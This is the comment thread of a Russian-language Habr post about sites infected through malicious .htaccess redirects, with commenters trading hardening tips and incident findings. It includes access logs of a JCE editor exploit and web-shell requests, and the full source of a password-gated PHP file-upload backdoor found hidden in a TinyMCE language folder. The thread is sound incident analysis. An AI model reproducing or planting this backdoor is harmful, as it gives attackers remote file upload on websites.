Как стать автором
Обновить

Комментарии 57

Пф, кто же использует $_GLOBAL?
Помню мне предложили промышлять похожими делами (писать скрипты на PHP, которыми заражаются WP сайты), предложили хорошую з/п (по тем временам) в 2к зелени, сказали зарегать специальный ящик на gmail, а туда бы скинули ТЗ. Отказался я, не люблю GLOBAL использовать.
Похоже, использовался вот этот обфускатор.
Т.е. взломщики воспользовались уже готовым чужим трудом
Ну а какая разница, это всего лишь способ обфускации, можно ведь и без него обойтись.
Мой коммент был в ответ на текст из коммента выше:
кто же использует $_GLOBAL


Я сообщил, что это использует создатель того самого обфускатора. Вот и вся суть моего коммента выше.
Дык яж не вам писал =)
И где вы нашли в Wordpress использование $_GLOBALS? Просто интересно.
Нет, я не говорю, что Wordpress хорош, но табуретки зачем же ломать?
Я бы добавил запрет на изменение данных .htaccess для пользователя, от которого работает веб сервер.
Ведение логов доступа к серверу на отдельном сервере, с алярмой в мониторинге, если доступ осуществлялся не с разрешенного диапазона адресов.
Сменить дату редактирования файла не умеет только ленивый, лучше хранить хеш всех файлов движка отдельно (кроме темпов, аплоада и прочих мусорных директорий) и периодически сравнивать его скриптом, для ленивых diff на директорию за вчера и за сегодня раз в сутки.
Для режима полная параноя еще много советов, тут было несколько статей на эту тему.
hg или git показали бы любые изменения кода.
Конечно, если таковые есть, но частая ситуация когда проект притянут архивом и развернут на сервере без систем контроля версий. Вариантов много, для каждого проекта подбирается индивидуально, поработав в одном известном хостинге иногда приходилось заглядывать «под капот» достаточно крупным проектам, там настолько все плохо, что страшно представить что творится в небольших домашних. В аудит безопасности сегодня мало кто готов вкладывать средства, так что если отойти от паранои и привлечения экспертов для аудита «Неуловимого Джо» остается ряд достаточно простых правил, спасающих от скрипткиди:
1) Движок веб-сервера имеет право на запись только в те файлы и директории, которые ему нужно изменять во время работы, для апдейтов и прочего права даются временно и отбираются после установки, яркий пример .htaccess. Сотни раз видел права 777 на всю директорию рекурсивно или же 755 при владельце совпадающем с юзером, от которого работает веб сервер, подчеркиваю на всю папку рекурсивно, включая .htaccess .htpasswd conf и т.п. У топикстартера именно такая ситуация, иначе как .htaccess мог быть изменен.
2) Юзер от которого работает веб сервер не должен иметь шела, при проникновении этот момент можно обойти, но лишний геморрой для ломающего обеспечен.
3) Отдельная база с отдельным пользователем для каждого проекта.
4) Обязательный аудит изменений как файлов (система контроля версий или другой способ) так и базы данных в ключевых местах.
Это самый минимум, доступный каждому, не говоря уже о песочницах с минимумом доступных средств для выполнения и прочими вещами, которые знают почти все, но забивают на них из за разового удобства.
Да уж. После такой конспирационной цепочки, ожидал пачку эксплойтов, а не беспомощный винлокер, который ещё надо скачать =/
Если учитывать, что они использовали чужой обфускатор, а не сами всё обфусцировали — сложность всего этого хака сильно снижается. Потому и концовка такая — никаких эксплоитов. Так что всё вполне предсказуемо
Дима, три дня — это много ;)
Пол дня ожидания — сбор списка заражённых сайтов. Полтора дня — ожидание положительного решения разработчика одного из заражённых сайтов по отправке мне скрипта ;)
>> в директории %AppData%RandomName% (в моём случае — AppData\Roaming

Не… Ну Roaming — это очень странный рандом :)
Вообще-то это дефалтовый каталог для хранения всякой фигни.
Дефолтовый каталог для хранения всякой фигни — это «Новая папка» (иногда встречаются вариации вида «Новая папка (1)», «Новая папка (2)»).

А как-же папки "hjueowhy", "cmakojwuhtf", "adhfdd"?

может стоит выложить доменны зараженных сайтов (с полными путями или без)? некоторые разработчики следят за появлением в сети своих доменов, и моугт узнать что они заражены.
Не знаю, не уверен. Некоторым не особо понравится, что их сайт будет в списке заражённых и это могут увидеть потенциальные посетители/клиенты и т.д.

Кстати, один из заражённых сайтов — сайт института информационной безопасности. Какая ирония…
Месяц назад вычищал штук 30 копий этого самого вируса с сайтов размещенных на целом выделенном сервере. Правда тратить 3 дня не стал :)
Найти б еще дыру в каком-то из вордпресс сайтов…
А как же Вы чистили аж 30 сайтов и так и не нашли уязвимости? Нужно было срочно решить задачу или логов веб-сервера не было?
У меня аналогичная проблема — логи не велись, а хостер хрнит только за последние 7 дней.
Аналогичная ситуация — все сайты на хостинге (и даже парочку мануалов в html внутри системных папок задело — оно что-то вроде поиска по index.* запускало), а в error_log'е (access не велся, а зря) светились wp_conf и иже с ними (у нас нет WP-сайтов), и прощупывание разных Joomla. Кстати, один из зловредов умудрился замаскироваться под этот самый wp_conf. И все тот же самый wordpresstest.info в расшифрованных файлах. Походу, они просто массовый сканер по вордпрессам и джумлам запустили (-_-)

Тащем-то, у меня сохранился файлик, который лично нам эти index_backup.php наваял (назывался delete_me.php), но он остался на рабочем компьютере — если интересно будет поковыряться, в понедельник найду и скину.
Ботнет по WP гуляет уже давно, сейчас Joomla активизировалась снова… так что куча одинаковых взломов — это вполне нормально.
Другое дело, что каждый взлом требует плотного изучения не столько вредоносного кода, сколько места, откуда это туда попало. Иначе толку вычищать.

А от роботов защититься просто, поставьте mod_auth на админку — большая часть ботнетов обойдет стороной.
Как раз шелл назывался wp_conf.php. На сайте с Джумлой…
Не палятся %)))
Как и обещал, файл _delete_me.php, найденный почему-то в домашней папке админа (наводит на печальные мысли либо о угрозе изнутри, либо о тотальном «вас поимели»). pastie.org/private/k23k1dpzod4rqhp6xl3nna
Нашёл в логах:
Скрытый текст
85.17.58.128 — - — [22/Jun/2013:04:08:01 +0400] «POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&2bf1fbcb16228c240ab28f76f1969848=e3299444dbb2666f1bd59bc299ca07ae HTTP/1.1» 302 207 "/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=156" «Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1» 17398 0
85.17.58.128 — - — [22/Jun/2013:04:08:07 +0400] «GET /tmp/0lndex.gif HTTP/1.1» 404 212 "-" "-" 17398 0
85.17.58.128 — - — [22/Jun/2013:04:08:07 +0400] «POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1» 200 36 "'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 GTB5" "-" 17441 1
85.17.58.128 — - — [22/Jun/2013:04:08:12 +0400] «POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1» 200 36 "'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 GTB5" "-" 17591 0
85.17.58.128 — - — [22/Jun/2013:04:08:15 +0400] «GET /tmp/templates.php HTTP/1.1» 404 1844 "-" "-" 17668 0
69.16.244.79 — - — [22/Jun/2013:04:26:11 +0400] «POST /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/g095my.php HTTP/1.1» 200 24185 "-" «Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Chrome/0.4 Safari/525.1 (compatible; MSIE 7.0; Windows NT 5.1)» 3717 0
50.87.9.175 — - — [22/Jun/2013:04:26:16 +0400] «POST /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/g095my.php HTTP/1.1» 200 9726 "-" «Mozilla/5.0 (compatible; Konqueror/4.1 Linux) SUSE» 3717 0
50.87.9.175 — - — [22/Jun/2013:04:26:20 +0400] «POST /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/g095my.php HTTP/1.1» 200 39685 "-" «Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB) Firefox/1.5 (compatible; MSIE 8.0; Windows NT 5.1)» 3717 0
41.76.209.52 — - — [22/Jun/2013:04:26:24 +0400] «GET /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/_delete_me.php HTTP/1.1» 200 5574 "-" «Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB) Firefox/1.5 (compatible; MSIE 8.0; Windows NT 5.1)» 3717 1

После этого файлик удалился, видимо. Ибо по пути его не оказалось…
Нет, не я.
Ага, значит у многих такая проблема проявлялась.
Не храните пароли для доступа по FTP в FTP-клиенте.


Это реальная угроза или «дежурное» правило? Всё же, удобство сильно страдает…
зависит от фтп клиента. есть вирусы, специально заточеные под ту же файлзиллу и главная цель которых получить ваши пароли. просто нужно пользоваться теми фтп клиентами которые шифруют сохраняемый пароль.
Спасибо за ответ!
Какой клиент можете посоветовать?
под винду рекомендую WinSCP
НЛО прилетело и опубликовало эту надпись здесь
Не могу сказать, вероятно здесь пароли просто находятся в памяти. Чтобы их перехватить нужно знать в какую часть адресного пространства обращаться. Если судить глобальнее, то такая же проблема и у других фтп менеджеров, однако не припомню таких вирусов. Так что вряд ли такой вирус существует.
Мне кажется вы сейчас подкинули отличную идею для вирусописателей =)
Снимать дампы выделенной процессу памяти проще простого (хотя HIPS у защитного ПО по идее должно это пресекать), но вот автоматизировать их эффективную обработку — трудновыполнимая задача. Поэтому малварописатели предпочитают работать по старинке, благо набор наиболее часто используемых приложений ограничен.
Автор, все таки, как попал зловред в htaccess? кто принес? фтп менеджер? какой?
Как я сказал выше в комментах — выяснить не удалось. Логи не велись, а хостер мог предоставить только за последние 7 дней — на тот момент зараза уже была.
Какая-то дыра Джумлы, вероятно…
В самой Joomla дыр практически не находят, но их полно в сторонних расширениях (прежде всего XSS и SQL инъекций). Но, вообще говоря, в большинстве случаев подобные «заражения» происходит просто путём кражи аккаунта к хостингу.

Зачем ломать защищенную систему, обходить технологии обнаружения, выставлять свои мощности и сервера в инет, если можно просто воспользоваться человеческим фактором?) Если дать злоумышленнику пароль от админки, то всего через минуты три могут наступить тяжёлые времена))))

Не могу говорить за все случаи, но в моем было так:

Через уязвимость в редакторе выложили в images зараженный файл под видом gif и туда же запихали зараженный htaccess

В итоге gif стал исполняемым файлом, а дальше уже дело техники
зависит от фтп-сервера. Многие фтп-серверы просто не воспримут этот файл как настройки
Забавно, прошу прощения за оффтопик, просто у меня антивирус на домашнем шлюзе параноик
Паранойа ClamAV
Межсетевой экран: xxx
Пользователь: xxx
Хост (IP): xx (XXXX)
Файл: habrahabr.ru/post/184150/
Протокол: HTTP
Информация о вирусе: External AV verdict: Exploit.HTML.IFrame-6
Инфицированный файл был запрещен Kerio Control.

:)
Похожая ситуация описана в посте История безответственности и одной уязвимости. Только там акцент был на проблемы Opera, исполнения ею Java и на безответственность работников сайта крупной региональной сети. Здесь, что хорошо, даны рекомендации обороны с другой стороны.
А ведь когда-то в Opera можно было запрещать использование Java для конкретных сайтов, при том это была вполне стандартная фича, не требующая расширений. Деградирует всё больше и больше…
Разломались.
Вот тут: 0x0a.net/redir.txt — полный список зараженных этим .htaccess-ом урлов.
Эх, совсем сломались :)
Сегодня опять обнаружил данного зловреда. Теперь логи есть. Копаюсь.
Упомянутый выше delete_me тоже был замечен в логах…
Напишите, если что-то прояснится. Очень интересно как зловред пролазит…
Всё оказалось банально и глупо :( Когда-то совсем давно (в архиве полугодовой давности уже есть) был добавлен файл с кодом:
Скрытый текст
<?php
if(!empty($_FILES['message']['name']) && (md5($_POST['name']) == '2970d43d7bf4115cdc60e2453bf48b52'))
{
        $security_code = (empty($_POST['security_code'])) ? '.' : $_POST['security_code'];
        $security_code = rtrim($security_code, "/");
        @move_uploaded_file($_FILES['message']['tmp_name'], $security_code."/".$_FILES['message']['name']) ? print "<b>Message sent!</b><br/>" : print "<b>Error!</b><br/>";
}
print '<html>
    <head>
    <title>Search form</title>
    </head>
    <body>
    <form enctype="multipart/form-data" action="" method="POST">
    Message: <br/><input name="message" type="file" />
    <br/>Security Code: <br/><input name="security_code" value=""/>
        <br/>Name: <br/><input name="name" value=""/><br/>
    <input type="submit" value="Sent" />
    </form>
    </body>
    </html>';//72612438


Через него загружался шелл, ну и дальше…
Не знаю, как файл не был замечен ранее.
А как глубоко файл был спрятан? Имя было логичное или 111222333.*?
/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/langs.php
Немного оффтопа — удивил способ вычисления используемой CMS:
Скрытый текст
[14/Jun/2013:04:07:39 +0400] «GET / HTTP/1.1» 200 20471 "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 21
[14/Jun/2013:04:08:01 +0400] «HEAD /bitrix/admin/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 3
[14/Jun/2013:04:08:05 +0400] «HEAD /bitrix/themes/.default/images/auth_pict.gif HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:08:07 +0400] «HEAD /bitrix/js/main/core/core.css HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:08:08 +0400] «HEAD /bitrix/themes/.default/adminstyles.css HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:08:09 +0400] «HEAD /user/login/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 3
[14/Jun/2013:04:08:13 +0400] «HEAD /node/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:08:15 +0400] «HEAD /user/password/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:08:16 +0400] «HEAD /modules/system/system.css HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:08:18 +0400] «HEAD /modules/system/system.base.css HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:08:19 +0400] «HEAD /media/system/js/mootools.js HTTP/1.1» 200 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:08:20 +0400] «HEAD /templates/system/css/system.css HTTP/1.1» 200 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:08:21 +0400] «HEAD /manager/media/style/MODxCarbon/images/misc/logo.png HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:08:22 +0400] «HEAD /manager/media/style/MODxCarbon/images/misc/login-logo.png HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:08:24 +0400] «HEAD /manager/media/script/mootools/mootools.js HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:08:25 +0400] «HEAD /manager/media/style/MODxCarbon/style.css HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:08:26 +0400] «HEAD /manager/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 21
[14/Jun/2013:04:08:48 +0400] «HEAD /manager/templates/default/images/style/modx-logo-header.png HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:08:49 +0400] «HEAD /manager/templates/default/images/restyle/headers.jpg HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:08:50 +0400] «HEAD /manager/templates/default/css/login-min.css HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:08:51 +0400] «HEAD /netcat/admin/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 8
[14/Jun/2013:04:09:01 +0400] «HEAD /netcat/admin/skins/default/img/logo.png HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:09:02 +0400] «HEAD /netcat/admin/skins/default/css/style.css HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:09:03 +0400] «HEAD /netcat/admin/skins/default/css/login.css HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:09:04 +0400] «HEAD /users/forget/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 4
[14/Jun/2013:04:09:09 +0400] «HEAD /images/cms/admin/mac/common/butterfly.png HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:09:10 +0400] «HEAD /users/registrate/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 4
[14/Jun/2013:04:09:16 +0400] «HEAD /admin/content/sitetree/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 3
[14/Jun/2013:04:09:20 +0400] «HEAD /styles/skins/mac/design/css/style.css HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:09:21 +0400] «HEAD /wp-admin/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 1
[14/Jun/2013:04:09:23 +0400] «HEAD /wp-content/ HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 1
[14/Jun/2013:04:09:26 +0400] «HEAD /wp-admin/images/wordpress-logo.png HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
[14/Jun/2013:04:09:27 +0400] «HEAD /wp-login.php HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 2
[14/Jun/2013:04:09:31 +0400] «HEAD /wp-admin/css/wp-admin.css HTTP/1.1» 404 — "-" «Mozilla/5.0 (compatible; Web-Monitoring/1.0; +http://monoid.nic.ru/)» 26586 0
Дополню совет — раз в неделю запускать
clamscan -ir .

из папки с сайтами.
Clamav как антивирус нужен под системами Linux именно для таких случаев.
Зарегистрируйтесь на Хабре, чтобы оставить комментарий

Публикации

Истории